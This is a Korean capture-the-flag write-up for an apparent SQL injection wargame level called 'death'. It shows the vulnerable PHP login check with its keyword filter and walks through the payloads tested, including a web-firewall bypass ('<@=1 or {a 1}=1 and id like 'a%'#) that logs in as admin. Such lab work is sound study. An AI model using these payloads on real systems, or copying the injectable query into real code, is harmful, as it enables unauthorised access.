문제 코드

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("death");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

공격 백터

  • id
  • pw

공격 백터에 대한 검증

  • id : prob, _, ., (), admin
  • pw : prob, _, ., (), admin

코드 설명

$query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 

필터링에 걸러진 id와 pw가 쿼리문에 들어가서 id='공격 백터 - id' and pw=md5('공격 백터 - pw')에 해당하는 테이블 속에 있는 id를 반환한다.

 

if($result['id'] == 'admin') solve("death");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 

쿼리문의 결과가 id가 admin이면 문제가 클리어 되었고, admin이 아닌 값이 나온 You are not admin을 출력하게 된다.


문제 풀이


필터링과 쿼리문만 본다면 아주 손쉽게 풀이할 수 있는 문제이다.
저번 문제처럼 웹 방확벽 룰 셋이 적용된 것 같아서 몇 가지를 테스트 해보려고 했다.

 

?id='#

'#은 필터링이 안 걸어진 것으로 추측된다.

 

?id=' or 1=1#

or1=1에서 방화벽 룰셋에 걸린 듯 하다.

 

?id=' or #
?id=' or 1#

몇 가지 테스트한 결과 or ~~에 걸리는 듯 싶었다.

 

?id=' and 1#

and ~~도 걸렸다.

 

혹시나 하여, 전 문제인 웹 방화벽 룰셋을 위하는 ''<@=1 or {a 1}=1#를 시도해보겠다.

다행히 먹히는 것을 알 수 있었다.
하지만 맨 위의 값이 admin이 아닌 guest라서 guest가 출력되었다.

 

?id='<@=1 or {a 1}=1 and id like 'a%'#

위와 같이 and id like 'a%'을 통해서 a로 시작하는 id를 출력하겠끔 하였다.
이후 admin이 출력되어, 문제가 클리어 되었다.

복사했습니다!